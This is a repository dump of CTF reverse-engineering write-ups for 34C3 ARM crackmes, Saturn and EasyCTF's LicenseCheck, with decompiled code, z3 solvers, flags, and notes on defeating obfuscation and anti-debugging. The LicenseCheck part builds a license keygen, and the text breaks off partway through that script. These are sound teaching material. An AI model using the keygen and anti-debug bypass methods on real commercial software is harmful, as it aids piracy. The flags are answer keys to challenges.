├── .gitattributes ├── 34C3_CTF ├── README.md ├── arm_stage1 │ ├── README.md │ └── arm_stage1.bin ├── arm_stage2 │ ├── README.md │ └── arm_stage2.bin ├── arm_stage3 │ ├── README.md │ └── arm_stage3.bin ├── arm_stage4 │ ├── README.md │ └── arm_stage4.bin └── saturn │ ├── README.md │ └── saturn_63cd2ac2c06835921e90816bf580631c ├── EasyCTF_IV ├── LicenseCheck │ └── README.md ├── MalDropper │ ├── README.md │ ├── screen_0.png │ ├── screen_1.png │ ├── screen_2.png │ └── screen_3.png ├── README.md ├── ez_rev │ ├── README.md │ ├── executable │ └── screen_0_ez_rev.png ├── format │ ├── README.md │ ├── format │ ├── screen_0_format.png │ ├── screen_1_format.png │ ├── screen_2_format.png │ └── screen_3_format.png └── rop1 │ ├── README.md │ ├── rop1 │ ├── screen_0_rop1.png │ ├── screen_1_rop1.png │ ├── screen_2_rop1.png │ └── screen_3_rop1.png ├── FireShell_CTF_2019 ├── README.md └── UnlockMe │ ├── UnlockMe.zip │ ├── die.png │ ├── encoded.bin │ ├── file_26100.png │ └── readme.md ├── OtterCTF_2018 ├── CallMeRick │ ├── CallMeRick.exe │ └── readme.md ├── HopityHop │ ├── HopityHop.exe │ └── readme.md ├── ListenCarefully │ ├── ListenCarefully.exe │ └── readme.md ├── MsgMeThis │ ├── MsgMeThis.exe │ └── readme.md ├── OtterSilence │ ├── OtterSilence.exe │ └── readme.md ├── README.md └── ReadMe │ ├── ReadMe.exe │ ├── readme.md │ └── values.png ├── README.md ├── UIUCTF_2018 └── triptych └── Viettel_Mates_CTF_2018 ├── DIE_result.png ├── UPX_unpacked.png ├── find_my_password.md ├── find_my_password_ru.md ├── normal_run.png └── we_win.png /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /34C3_CTF/README.md: -------------------------------------------------------------------------------- 1 | # 34C3 CTF writeups 2 | 3 | ## junior rev 4 | * [ARM1 - easy (#arm, #rev)](arm_stage1) 5 | * [ARM2 - easy (#arm, #rev, #xor)](arm_stage2) 6 | * [ARM3 - easy (#arm, #rev)](arm_stage3) 7 | * [ARM4 - mid (#arm, #rev, #z3)](arm_stage4) 8 | * [Saturn - mid (#rev)](saturn) 9 | -------------------------------------------------------------------------------- /34C3_CTF/arm_stage1/README.md: -------------------------------------------------------------------------------- 1 | # Junuior ARM1 - easy 2 | 3 | **Category:** rev 4 | **Points:** 41 5 | **Solves:** 269 6 | **Description:** 7 | 8 | Can you reverse engineer this code and get the flag? 9 | 10 | This code is ARM Thumb 2 code which runs on an STM32F103CBT6. You should not need such a controller to solve this challenge. 11 | 12 | There are 5 stages in total which share all the same code base, so you are able to compare code from the first stage with all the other stages to see what code is actually relevant. 13 | 14 | If you should need a datasheet, [you can get it here](http://www.st.com/content/ccc/resource/technical/document/reference_manual/59/b9/ba/7f/11/af/43/d5/CD00171190.pdf/files/CD00171190.pdf/jcr:content/translations/en.CD00171190.pdf). 15 | 16 | In case you need to refresh your ARM assembly, [check out Azeria's cool articles](https://azeria-labs.com/writing-arm-assembly-part-1/). 17 | 18 | [Challenge binary](arm_stage1.bin) 19 | 20 | ## Write-up 21 | 22 | We can: 23 | 1. get strings from file 24 | ``` 25 | pc@pc:~/Desktop$ strings arm_stage1.bin | grep 34C3 26 | FpGThe flag is: 34C3_I_4dm1t_it_1_f0und_th!s_with_str1ngs 27 | ``` 28 | 2. reverse it! :D 29 | 30 | Load file in IDA, set "Processor type" to "ARM little-endian", then set "ROM start address" and "Loading address" to 0x8000000. 31 | 32 | sub_8000108 - is first function(entry point), and only call function sub_8000478, sub_8000478 call sub_8000290, sub_8000290 is main. 33 | 34 | In main we have code like this 35 | ```C 36 | void main(void) { 37 | sub_80003F8(); 38 | sub_8000304(); 39 | print_text("The flag is: 34C3_I_4dm1t_it_1_f0und_th!s_with_str1ngs\r\n"); 40 | while ( 1 ) 41 | ; 42 | } 43 | ``` 44 | 3. After reverse we found out that we could just run file(in emulator) 45 | 46 | Flag is: **34C3_I_4dm1t_it_1_f0und_th!s_with_str1ngs** 47 | -------------------------------------------------------------------------------- /34C3_CTF/arm_stage1/arm_stage1.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/34C3_CTF/arm_stage1/arm_stage1.bin -------------------------------------------------------------------------------- /34C3_CTF/arm_stage2/README.md: -------------------------------------------------------------------------------- 1 | # Junuior ARM2 - easy 2 | 3 | **Category:** rev 4 | **Points:** 150 5 | **Solves:** 30 6 | **Description:** 7 | 8 | Can you reverse engineer this code and get the flag? 9 | 10 | This code is ARM Thumb 2 code which runs on an STM32F103CBT6. You should not need such a controller to solve this challenge. 11 | 12 | There are 5 stages in total which share all the same code base, so you are able to compare code from the first stage with all the other stages to see what code is actually relevant. 13 | 14 | If you should need a datasheet, [you can get it here](http://www.st.com/content/ccc/resource/technical/document/reference_manual/59/b9/ba/7f/11/af/43/d5/CD00171190.pdf/files/CD00171190.pdf/jcr:content/translations/en.CD00171190.pdf). 15 | 16 | In case you need to refresh your ARM assembly, [check out Azeria's cool articles](https://azeria-labs.com/writing-arm-assembly-part-1/). 17 | 18 | [Challenge binary](arm_stage2.bin) 19 | 20 | ## Write-up 21 | 22 | We can: 23 | 1. reverse it! :D 24 | 25 | Load file in IDA, set "Processor type" to "ARM little-endian", then set "ROM start address" and "Loading address" to 0x8000000. 26 | 27 | sub_8000108 - is first function(entry point), and only call function sub_80004A8, sub_80004A8 call sub_8000290, sub_8000290 is main. 28 | 29 | In main we have code like this 30 | ```C 31 | void main(void) { 32 | sub_8000428(); 33 | sub_8000334(); 34 | print_text("The flag is: "); 35 | for ( char *i = g_xored_bytes; *i; ++i ) 36 | print_char(*i ^ 0x55); 37 | print_text("\r\n"); 38 | while ( 1 ) 39 | ; 40 | } 41 | ``` 42 | 43 | Solver 44 | ```python 45 | xored_bytes = [ 0x66, 0x61, 0x16, 0x66, 0x0A, 0x0D, 0x65, 0x27, 0x0A, 0x66, 0x3B, 0x36, 0x27, 0x2C, 0x25, 0x21, 0x3C, 0x65, 0x3B, 0x0A, 0x64, 0x26, 0x0A, 0x37, 0x66, 0x26, 0x21, 0x0A, 0x36, 0x27, 0x2C, 0x25, 0x21, 0x65 ] 46 | flag = "" 47 | 48 | for i in xored_bytes: 49 | flag += chr(i ^ 0x55) 50 | 51 | print flag # 34C3_X0r_3ncrypti0n_1s_b3st_crypt0 52 | ``` 53 | 54 | 2. After reverse we found out that we could just run file(in emulator) 55 | 56 | Flag is: **34C3_X0r_3ncrypti0n_1s_b3st_crypt0** 57 | -------------------------------------------------------------------------------- /34C3_CTF/arm_stage2/arm_stage2.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/34C3_CTF/arm_stage2/arm_stage2.bin -------------------------------------------------------------------------------- /34C3_CTF/arm_stage3/README.md: -------------------------------------------------------------------------------- 1 | # Junuior ARM3 - easy 2 | 3 | **Category:** rev 4 | **Points:** 171 5 | **Solves:** 25 6 | **Description:** 7 | 8 | Can you reverse engineer this code and get the flag? 9 | 10 | This code is ARM Thumb 2 code which runs on an STM32F103CBT6. You should not need such a controller to solve this challenge. 11 | 12 | There are 5 stages in total which share all the same code base, so you are able to compare code from the first stage with all the other stages to see what code is actually relevant. 13 | 14 | If you should need a datasheet, [you can get it here](http://www.st.com/content/ccc/resource/technical/document/reference_manual/59/b9/ba/7f/11/af/43/d5/CD00171190.pdf/files/CD00171190.pdf/jcr:content/translations/en.CD00171190.pdf). 15 | 16 | In case you need to refresh your ARM assembly, [check out Azeria's cool articles](https://azeria-labs.com/writing-arm-assembly-part-1/). 17 | 18 | [Challenge binary](arm_stage3.bin) 19 | 20 | ## Write-up 21 | 22 | Load file in IDA, set "Processor type" to "ARM little-endian", then set "ROM start address" and "Loading address" to 0x8000000. 23 | 24 | sub_8000108 - is first function(entry point), and only call function sub_80005D8, sub_80005D8 call sub_8000290, sub_8000290 is main. 25 | 26 | We add segment 0x20000000-0x20005000 and in main we have code like this 27 | ```C 28 | void main(void) { 29 | sub_8000558(); 30 | sub_8000440(); 31 | print_text("Enter flag: "); 32 | for ( signed int i = 0; i <= 29; ++i ) 33 | { 34 | flag[i] = sub_8000534(); 35 | read_char(flag[i]); // read 30 bytes 36 | } 37 | print_text("\r\n"); 38 | if ( flag[9] != '_' 39 | || flag[21] != '0' 40 | || flag[26] != '_' 41 | || flag[2] != 'C' 42 | || flag[14] != '1' 43 | || flag[0] != '3' 44 | || flag[28] != 'o' 45 | || flag[11] != 'a' 46 | || flag[4] != '_' 47 | || flag[27] != 'n' 48 | || flag[17] != '4' 49 | || flag[8] != 'k' 50 | || flag[3] != '3' 51 | || flag[23] != 'A' 52 | || flag[15] != '_' 53 | || flag[7] != '0' 54 | || flag[1] != '4' 55 | || flag[24] != 'R' 56 | || flag[18] != 'n' 57 | || flag[5] != 'L' 58 | || flag[20] != 'd' 59 | || flag[12] != '!' 60 | || flag[22] != '_' 61 | || flag[13] != '_' 62 | || flag[10] != 'm' 63 | || flag[29] != 'w' 64 | || flag[16] != 'c' 65 | || flag[19] != '_' 66 | || flag[25] != 'M' ) 67 | { 68 | print_text("Wrong!\r\n"); 69 | } 70 | else 71 | { 72 | print_text("Correct!\r\n"); 73 | } 74 | while ( 1 ) 75 | ; 76 | } 77 | ``` 78 | 79 | Readed flag started from 0x20000444, and we have 80 | ``` 81 | flag[0] == '3' 82 | flag[1] == '4' 83 | flag[2] == 'C' 84 | flag[3] == '3' 85 | flag[4] == '_' 86 | flag[5] == 'L' 87 | 88 | flag[7] == '0' 89 | flag[8] == 'k' 90 | flag[9] == '_' 91 | flag[10] == 'm' 92 | flag[11] == 'a' 93 | flag[12] == '!' 94 | flag[13] == '_' 95 | flag[14] == '1' 96 | flag[15] == '_' 97 | flag[16] == 'c' 98 | flag[17] == '4' 99 | flag[18] == 'n' 100 | flag[19] == '_' 101 | flag[20] == 'd' 102 | flag[21] == '0' 103 | flag[22] == '_' 104 | flag[23] == 'A' 105 | flag[24] == 'R' 106 | flag[25] == 'M' 107 | flag[26] == '_' 108 | flag[27] == 'n' 109 | flag[28] == 'o' 110 | flag[29] == 'w' 111 | 112 | // flag = "34C3_L 0k_ma!_1_c4n_d0_ARM_now" 113 | ``` 114 | flag[6] is really absent, it's not a hex-rays mistake, but ctf system accept flag[6] == "0" 115 | 116 | Flag is: **34C3_L00k_ma!_1_c4n_d0_ARM_now** 117 | -------------------------------------------------------------------------------- /34C3_CTF/arm_stage3/arm_stage3.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/34C3_CTF/arm_stage3/arm_stage3.bin -------------------------------------------------------------------------------- /34C3_CTF/arm_stage4/README.md: -------------------------------------------------------------------------------- 1 | # Junuior ARM4 - mid 2 | 3 | **Category:** rev 4 | **Points:** 290 5 | **Solves:** 11 6 | **Description:** 7 | 8 | Can you reverse engineer this code and get the flag? 9 | 10 | This code is ARM Thumb 2 code which runs on an STM32F103CBT6. You should not need such a controller to solve this challenge. 11 | 12 | There are 5 stages in total which share all the same code base, so you are able to compare code from the first stage with all the other stages to see what code is actually relevant. 13 | 14 | If you should need a datasheet, [you can get it here](http://www.st.com/content/ccc/resource/technical/document/reference_manual/59/b9/ba/7f/11/af/43/d5/CD00171190.pdf/files/CD00171190.pdf/jcr:content/translations/en.CD00171190.pdf). 15 | 16 | In case you need to refresh your ARM assembly, [check out Azeria's cool articles](https://azeria-labs.com/writing-arm-assembly-part-1/). 17 | 18 | [Challenge binary](arm_stage4.bin) 19 | 20 | ## Write-up 21 | 22 | Load file in IDA, set "Processor type" to "ARM little-endian", then set "ROM start address" and "Loading address" to 0x8000000. 23 | 24 | sub_8000108 - is first function(entry point), and only call function sub_8001180, sub_8001180 call sub_8000290, sub_8000290 is main. 25 | 26 | We add segment 0x20000000-0x20005000 and in main we have code like this 27 | ```C 28 | void main(void) { 29 | sub_8001100(); 30 | sub_8000FE8(); 31 | print_text("Enter flag: "); 32 | for ( unsigned int i = 0; i <= 13; ++i ) 33 | { 34 | flag[i] = sub_80010DC(); 35 | read_char(flag[i]); // read 14 bytes 36 | } 37 | print_text("\r\n"); 38 | if ( 34 * flag[13] + -4 * (flag[1] - 5 * flag[0] - 16 * flag[2] + 3 * flag[3]) - 73 * flag[4] - 65 * flag[5] + 77 * flag[6] + 20 * flag[7] - 66 * flag[8] + 4 * flag[9] - 58 * flag[10] - 6 * flag[11] + 94 * flag[12] != 8701 39 | || -48 * flag[13] + -66 * flag[0] + 56 * flag[1] - 37 * flag[2] - 8 * flag[3] - 26 * flag[4] - 79 * flag[5] - 28 * flag[6] - 99 * flag[7] - 87 * flag[8] - 86 * flag[9] + 71 * flag[10] - 69 * flag[11] - 43 * flag[12] != -40417 40 | || 38 * flag[13] + 93 * flag[0] + 77 * flag[1] - 43 * flag[2] - 19 * flag[3] + 99 * flag[4] + 61 * flag[5] + 5 * flag[6] - 67 * flag[7] - 60 * flag[8] + 88 * flag[9] + 41 * flag[10] + 19 * flag[11] + 70 * flag[12] != 34075 41 | || (flag[13] << 6) + -44 * flag[0] - 32 * flag[1] - 30 * flag[2] + 5 * flag[3] + 56 * flag[4] - 28 * flag[5] + 61 * flag[6] + 9 * flag[7] + 80 * flag[8] + 40 * flag[9] - 66 * flag[10] - 42 * flag[11] + 62 * flag[12] != 17090 42 | || -40 * flag[13] + -61 * flag[0] + 46 * flag[1] + 35 * flag[2] - 33 * flag[3] + 91 * flag[4] - 13 * flag[5] - 39 * flag[6] + 7 * flag[7] + 51 * flag[8] + 93 * flag[9] + 55 * flag[10] + 49 * flag[11] + 94 * flag[12] != 31516 43 | || 33 * flag[13] + 17 * flag[0] - 61 * flag[1] + 51 * flag[2] + 26 * flag[3] + 75 * flag[4] + 14 * flag[5] - 32 * flag[6] - 46 * flag[7] - 10 * flag[8] - 36 * flag[9] + 81 * flag[10] + 69 * flag[11] - 32 * flag[12] != 10846 44 | || 29 * flag[13] + 69 * flag[0] - 92 * flag[1] + 24 * flag[2] - 33 * flag[3] + 16 * flag[4] + 57 * flag[5] - 31 * flag[6] + 91 * flag[7] + 85 * flag[8] + 72 * flag[9] + 23 * flag[10] + 21 * flag[11] + 45 * flag[12] != 31883 45 | || -66 * flag[13] + -22 * flag[0] + 21 * flag[1] + 52 * flag[2] + 71 * flag[3] + 76 * flag[4] - 80 * flag[5] - 97 * flag[6] + 4 * flag[7] + 99 * flag[8] - 7 * flag[9] - 43 * flag[10] - 13 * flag[11] + 37 * flag[12] != -2288 46 | || -63 * flag[13] + -59 * flag[0] + 74 * flag[1] + 65 * flag[2] + 61 * flag[3] - 21 * flag[4] - 9 * flag[5] + 44 * flag[6] + 13 * flag[7] + 30 * flag[8] + 13 * flag[9] - 69 * flag[10] - 2 * flag[11] + 9 * flag[12] != 891 47 | || 74 * flag[13] + 51 * flag[0] + 58 * flag[1] + 16 * flag[2] + 58 * flag[3] + 83 * flag[4] + 30 * flag[5] - 57 * flag[6] - 27 * flag[7] - 28 * flag[8] + 94 * flag[9] + 55 * flag[10] + 72 * flag[11] - 96 * flag[12] != 24772 48 | || 56 * flag[13] + 68 * flag[0] - 5 * flag[1] + 19 * flag[2] - 85 * flag[3] + 38 * flag[4] + 84 * flag[5] + 17 * flag[6] + 77 * flag[7] - 98 * flag[8] - 37 * flag[9] - 38 * flag[10] + 32 * flag[11] - 45 * flag[12] != 7094 49 | || 59 * flag[13] + 13 * flag[0] + 99 * flag[1] - 21 * flag[2] + 58 * flag[3] + 26 * flag[4] + 18 * flag[5] - 87 * flag[6] + 26 * flag[7] - 77 * flag[8] - 47 * flag[9] + 33 * flag[10] - 45 * flag[11] - 78 * flag[12] != -4767 50 | || 31 * flag[13] + -95 * flag[0] + 63 * flag[1] + 18 * flag[2] - 12 * flag[3] + 56 * flag[4] - 77 * flag[5] + 68 * flag[6] + 70 * flag[7] + 54 * flag[8] + 41 * flag[9] + 25 * flag[10] - 78 * flag[11] + 43 * flag[12] != 27400 51 | || -78 * flag[13] + 22 * flag[0] - 33 * flag[1] - 31 * flag[2] - 46 * flag[3] + 20 * flag[4] + 80 * flag[5] - 54 * flag[6] + 55 * flag[7] + 77 * flag[8] + 94 * flag[9] - 89 * flag[10] + 51 * flag[11] - 27 * flag[12] != -4494 ) 52 | { 53 | print_text("Wrong!\r\n"); 54 | } 55 | else 56 | { 57 | print_text("Correct!\r\n"); 58 | } 59 | while ( 1 ) 60 | ; 61 | } 62 | ``` 63 | 64 | Readed flag started from 0x20000444, and we have 65 | 66 | Solver 67 | ```python 68 | from z3_staff import * # https://github.com/KosBeg/z3_staff 69 | 70 | var_num = 14 71 | create_vars(var_num, size=8) 72 | solver() 73 | init_vars(globals()) 74 | set_ranges(var_num) 75 | 76 | set_known_bytes('34C3_', var_num, type='start') # set flagFormat 77 | 78 | add_eq(34*x13+-4*(x1+-5*x0+-16*x2+3*x3)+-73*x4+-65*x5+77*x6+20*x7+-66*x8+4*x9+-58*x10+-6*x11+94*x12==8701) 79 | add_eq(-48*x13+-66*x0+56*x1+-37*x2+-8*x3+-26*x4+-79*x5+-28*x6+-99*x7+-87*x8+-86*x9+71*x10+-69*x11+-43*x12==-40417) 80 | add_eq(38*x13+93*x0+77*x1+-43*x2+-19*x3+99*x4+61*x5+5*x6+-67*x7+-60*x8+88*x9+41*x10+19*x11+70*x12==34075) 81 | add_eq((x13<<6)+-44*x0+-32*x1+-30*x2+5*x3+56*x4+-28*x5+61*x6+9*x7+80*x8+40*x9+-66*x10+-42*x11+62*x12==17090) 82 | add_eq(-40*x13+-61*x0+46*x1+35*x2+-33*x3+91*x4+-13*x5+-39*x6+7*x7+51*x8+93*x9+55*x10+49*x11+94*x12==31516) 83 | add_eq(33*x13+17*x0+-61*x1+51*x2+26*x3+75*x4+14*x5+-32*x6+-46*x7+-10*x8+-36*x9+81*x10+69*x11+-32*x12==10846) 84 | add_eq(29*x13+69*x0+-92*x1+24*x2+-33*x3+16*x4+57*x5+-31*x6+91*x7+85*x8+72*x9+23*x10+21*x11+45*x12==31883) 85 | add_eq(-66*x13+-22*x0+21*x1+52*x2+71*x3+76*x4+-80*x5+-97*x6+4*x7+99*x8+-7*x9+-43*x10+-13*x11+37*x12==-2288) 86 | add_eq(-63*x13+-59*x0+74*x1+65*x2+61*x3+-21*x4+-9*x5+44*x6+13*x7+30*x8+13*x9+-69*x10+-2*x11+9*x12==891) 87 | add_eq(74*x13+51*x0+58*x1+16*x2+58*x3+83*x4+30*x5+-57*x6+-27*x7+-28*x8+94*x9+55*x10+72*x11+-96*x12==24772) 88 | add_eq(56*x13+68*x0+-5*x1+19*x2+-85*x3+38*x4+84*x5+17*x6+77*x7+-98*x8+-37*x9+-38*x10+32*x11+-45*x12==7094) 89 | add_eq(59*x13+13*x0+99*x1+-21*x2+58*x3+26*x4+18*x5+-87*x6+26*x7+-77*x8+-47*x9+33*x10+-45*x11+-78*x12==-4767) 90 | add_eq(31*x13+-95*x0+63*x1+18*x2+-12*x3+56*x4+-77*x5+68*x6+70*x7+54*x8+41*x9+25*x10+-78*x11+43*x12==27400) 91 | add_eq(-78*x13+22*x0+-33*x1+-31*x2+-46*x3+20*x4+80*x5+-54*x6+55*x7+77*x8+94*x9+-89*x10+51*x11+-27*x12==-4494) 92 | 93 | i = 0 94 | start_time = time.time() 95 | while s.check() == sat: 96 | prepare_founded_values(var_num) 97 | print prepare_key(var_num) 98 | iterate_all(var_num) 99 | i += 1 100 | print('--- %.2f seconds && %d answer(s) ---' % ((time.time() - start_time), i) ) 101 | ``` 102 | ``` 103 | 34C3_1_d0_m4th 104 | --- 0.18 seconds && 1 answer(s) --- 105 | ``` 106 | 107 | Flag is: **34C3_1_d0_m4th** 108 | -------------------------------------------------------------------------------- /34C3_CTF/arm_stage4/arm_stage4.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/34C3_CTF/arm_stage4/arm_stage4.bin -------------------------------------------------------------------------------- /34C3_CTF/saturn/README.md: -------------------------------------------------------------------------------- 1 | # Junuior Saturn 2 | 3 | **Category:** rev 4 | **Points:** 136 5 | **Solves:** 34 6 | **Description:** 7 | 8 | Wanna go to [saturn](saturn_63cd2ac2c06835921e90816bf580631c)? Give me the launch codes from: nc 35.198.169.47 1337 9 | 10 | ## Write-up 11 | 12 | Firstly we must find **main** function: 13 | 14 | ``` 15 | .text:00000656 push ds:(off_1FF8 - 1FACh)[ebx] ; main 16 | ``` 17 | 18 | 1) In debugger we see that main at 0x843 19 | 20 | 2) Fix stack, and decompile 21 | ``` 22 | .text:00000632 000 pop esi 23 | .text:00000633 -04 mov ecx, esp 24 | .text:00000635 -04 and esp, 0FFFFFFF0h 25 | .text:00000638 -04 push eax 26 | .text:00000639 000 push esp ; stack_end 27 | ``` 28 | 29 | ``` 30 | .text:00000632 000 pop esi 31 | .text:00000633 000 mov ecx, esp 32 | .text:00000635 000 and esp, 0FFFFFFF0h 33 | .text:00000638 000 push eax 34 | .text:00000639 004 push esp ; stack_end 35 | ``` 36 | 37 | ``` 38 | __libc_start_main(sub_843, retaddr, &retaddr, sub_9D0, nullsub_1, a2, &a1); // main is sub_843 39 | ``` 40 | 41 | ``` 42 | int main(int argc, const char **argv, const char **envp) 43 | { 44 | int num_1, num_2, num_3, num_4, num; 45 | 46 | num = 1; 47 | f_alarm(); 48 | scanf("%d %d %d %d", &num_1, &num_2, &num_3, &num_4); 49 | if ( num_1 <= 123456788 || num_1 > 987654321 ) 50 | return -1; 51 | if ( num_2 <= 123456788 || num_2 > 987654321 ) 52 | return -1; 53 | if ( num_3 <= 123456788 || num_3 > 987654321 ) 54 | return -1; 55 | if ( num_4 <= 123456788 || num_4 > 987654321 ) 56 | return -1; 57 | num = num_3 * num_2 * num_1 * num_4 * ((num_1 << 25) % 30); 58 | num ^= num_2 >> 3; 59 | num += num_3 - num_4; 60 | if ( num == 842675475 ) 61 | { 62 | puts("Correct! Here is your flag:\n"); 63 | f_give_flag(); 64 | } 65 | else 66 | { 67 | puts("Wrong!\n"); 68 | } 69 | return 0; 70 | } 71 | ``` 72 | 73 | Solver 74 | ```C 75 | #include 76 | 77 | int main() { 78 | int num_1, num_2, num_3, num_4, num; 79 | 80 | for (num_1 = 123456789; num_1 < 987654321; num_1++) { 81 | for (num_2 = 123456789; num_2 < 987654321; num_2++) { 82 | for (num_3 = 123456789; num_3 < 987654321; num_3++) { 83 | for (num_4 = 123456789; num_4 < 987654321; num_4++) { 84 | num = num_3 * num_2 * num_1 * num_4 * ((num_1 << 25) % 30); 85 | num ^= num_2 >> 3; 86 | num += num_3 - num_4; 87 | if (num == 842675475) { 88 | printf("Correct! Here is your flag: %d %d %d %d\n", num_1, num_2, num_3, num_4); 89 | } 90 | } 91 | } 92 | } 93 | } 94 | } 95 | ``` 96 | 97 | ``` 98 | Correct! Here is your flag: 123456789 123456789 123456801 447146224 99 | Correct! Here is your flag: 123456789 123456789 123456803 199754714 100 | Correct! Here is your flag: 123456789 123456789 123456805 637654116 101 | ... 102 | ``` 103 | ``` 104 | pc@pc:~/Desktop$ nc 35.198.169.47 1337 105 | 123456789 123456789 123456801 447146224 106 | Correct! Here is your flag: 107 | 108 | 34c3_th3re_is_n0_w4ter_on_s4turn! 109 | ``` 110 | 111 | Flag is: **34c3_th3re_is_n0_w4ter_on_s4turn!** 112 | -------------------------------------------------------------------------------- /34C3_CTF/saturn/saturn_63cd2ac2c06835921e90816bf580631c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/KosBeg/ctf-writeups/c56591135b1ef2942077a240b66ca781fe8e21aa/34C3_CTF/saturn/saturn_63cd2ac2c06835921e90816bf580631c -------------------------------------------------------------------------------- /EasyCTF_IV/LicenseCheck/README.md: -------------------------------------------------------------------------------- 1 | # LicenseCheck 2 | 3 | **Category:** Reverse Engineering 4 | **Points:** 300 5 | **Solves:** 12 6 | **Description:** 7 | 8 | I want a valid license for a piece of software, [here](https://github.com/EasyCTF/easyctf-iv-problems/raw/master/license_check/license_check.exe) is the license validation software. Can you give me a valid license for the email `mzisthebest@notarealemail.com`? 9 | 10 | Note: flag is _not_ in easyctf{} format. 11 | 12 | ## Write-up 13 | 14 | Load the binary in IDA, and we see that it's obfuscated. 15 | 16 | Obfuscation is not complex, mostly 17 | 1) `opaque predicate` that is 18 | a) always executed, 19 | b) never executed; 20 | 2) jump to the middle of the command; 21 | 3) mov eax, jmp_loc; jmp eax; 22 | 4) antidebug 23 | 24 | Like 25 | 26 | ``` 27 | .text:00401370 B8 95 66 E4+ mov eax, 4E46695h 28 | .text:00401375 3D 36 55 ED+ cmp eax, 0F4ED5536h ; loc_401383 is bad loc 29 | .text:0040137A 74 07 jz short loc_401383 ; and `opaque predicate` that is never executed 30 | ``` 31 | ``` 32 | .text:00401327 74 03 jz short near ptr loc_40132B+1 ; jump to the middle of the command 33 | .text:00401329 75 01 jnz short near ptr loc_40132B+1 ; and `opaque predicate` that is always executed 34 | .text:0040132B loc_40132B: ; CODE XREF: .text:00401327j 35 | .text:0040132B D9 B9 04 00+ fnstcw word ptr [ecx+4] 36 | ``` 37 | ``` 38 | .text:0040137C B8 89 13 40+ mov eax, offset loc_401389 39 | .text:00401381 FF E0 jmp eax ; jmp to loc_401389, but IDA doesn't see it 40 | ``` 41 | ``` 42 | .text:0040106B C6 45 E7 00 mov byte ptr [ebp-19h], 0 43 | .text:0040106F C7 45 FC 00+ mov dword ptr [ebp-4], 0 44 | .text:00401076 9C pushf 45 | .text:00401077 81 0C 24 00+ or dword ptr [esp], 100h 46 | .text:0040107E 9D popf ; if program under debugger - we jump to seh at 0x0040108F 47 | .text:0040107F 90 nop ; else - normal execution 48 | .text:00401080 C7 45 FC FE+ mov dword ptr [ebp-4], 0FFFFFFFEh 49 | .text:00401087 EB 14 jmp short loc_40109D 50 | .text:00401087 51 | ``` 52 | ``` 53 | .text:004010A5 FF 15 00 30+ call ds:IsDebuggerPresent 54 | .text:004010AB 85 C0 test eax, eax 55 | .text:004010AD 74 51 jz short deb_detected_loc 56 | ``` 57 | 58 | I don't know how to deobfuscate automatically, so I'll do it manually. For deobfuscation we need: 59 | 1) keypatch - [keystone-engine.org/keypatch/](https://www.keystone-engine.org/keypatch/) 60 | 2) brain 61 | 3) a bit of luck 62 | 63 | After deobfuscation(nop all unnecessary code) and decompilation we have very beautiful code, you can even compile it, for me it working fine in vc17 :D 64 | 65 | **UPD:** [original source of this task](https://github.com/EasyCTF/easyctf-iv-problems/tree/master/license_check/source) 66 | 67 | ```C 68 | #include "stdafx.h" 69 | 70 | #include 71 | #include 72 | #include 73 | 74 | // int f_strlen(const char *str); 75 | unsigned int f_check_key(int *key); 76 | 77 | int main(int argc, const char **argv, const char **envp) 78 | { 79 | if (argc >= 3) // we need `email` and `key` 80 | { 81 | const char *email = (const char *)argv[1]; 82 | const char *key = (const char *)argv[2]; 83 | if (strlen(key) == 16) // `key` len must be 16(4x4 parts) 84 | { 85 | size_t email_len = strlen(email); 86 | if (email_len >= 10) // `email` len must be >= 10 87 | // len("mzisthebest@notarealemail.com") = 29, all is ok :D 88 | { 89 | unsigned int email_hash = 0xAED0DEA; // initial email_hash value 90 | bool is_domain = false; 91 | unsigned char byte; 92 | for (size_t i = 0; i < email_len; ++i) 93 | { 94 | byte = email[i]; 95 | if (byte == '@') // start of domain in email 96 | is_domain = true; 97 | if (is_domain) 98 | email_hash ^= byte; // for domain of email we xor email_hash with ord(byte) 99 | else 100 | email_hash += byte; // for nickname of email we add to email_hash ord(byte) 101 | } 102 | if (email_hash == 0xAED12F1 && !(f_check_key((int *)key) ^ 0x1AE33))// `email_hash == 0xAED12F1` 103 | // is always rigth for `mzisthebest@notarealemail.com` 104 | puts("correct!"); 105 | } 106 | } 107 | } 108 | else 109 | { 110 | printf("Usage: %s \n", *argv); 111 | } 112 | } 113 | 114 | /* 115 | int f_strlen(const char *str) // just strlen, we no need it and will use standart strlen 116 | { 117 | for (int len = 0; ; ++len) 118 | if (!*str++) 119 | break; 120 | return len; 121 | } 122 | */ 123 | 124 | unsigned int f_check_key(int *key) 125 | { 126 | unsigned int key_part; 127 | char *endPtr; 128 | 129 | unsigned int key_hash = 0; 130 | for (int i = 0; i < 4; ++i) 131 | { 132 | key_part = key[i]; 133 | key_hash ^= strtol((char *)&key_part, &endPtr, 30); 134 | } 135 | return key_hash; 136 | } 137 | ``` 138 | 139 | We do not need to check the email (because it always passes successfully), we need key check: when f_check_key return 0x1AE33 we will win. 140 | In function f_check_key our key with len 16 is cut into 4x4 parts, convert parts from the base 30 (0_0) to base 10 and xor them among themselves. 141 | ``` 142 | key_hash_0 ^ key_part_0 == key_hash_1 ; key_hash_0 = 0 143 | key_hash_1 ^ key_part_1 == key_hash_2 144 | key_hash_2 ^ key_part_2 == key_hash_3 145 | key_hash_3 ^ key_part_3 == 0x1AE33 146 | ``` 147 | After simplify this expressions we have 148 | ``` 149 | key_part_0 ^ key_part_1 ^ key_part_2 ^ key_part_3 == 0x1AE33 150 | ``` 151 | 152 | Let's write z3 script-keygen! :D 153 | 154 | ```python 155 | from z3_staff import * # https://github.com/KosBeg/z3_staff 156 | import string 157 | 158 | digs = string.digits + string.letters 159 | def int2base(x, base = 30): 160 | if x < 0: 161 | sign = -1 162 | elif x == 0: 163 | return digs[0] 164 | else: 165 | sign = 1 166 | x *= sign 167 | digits = [] 168 | while x: 169 | digits.append(digs[x % base]) 170 | x /= base 171 | if 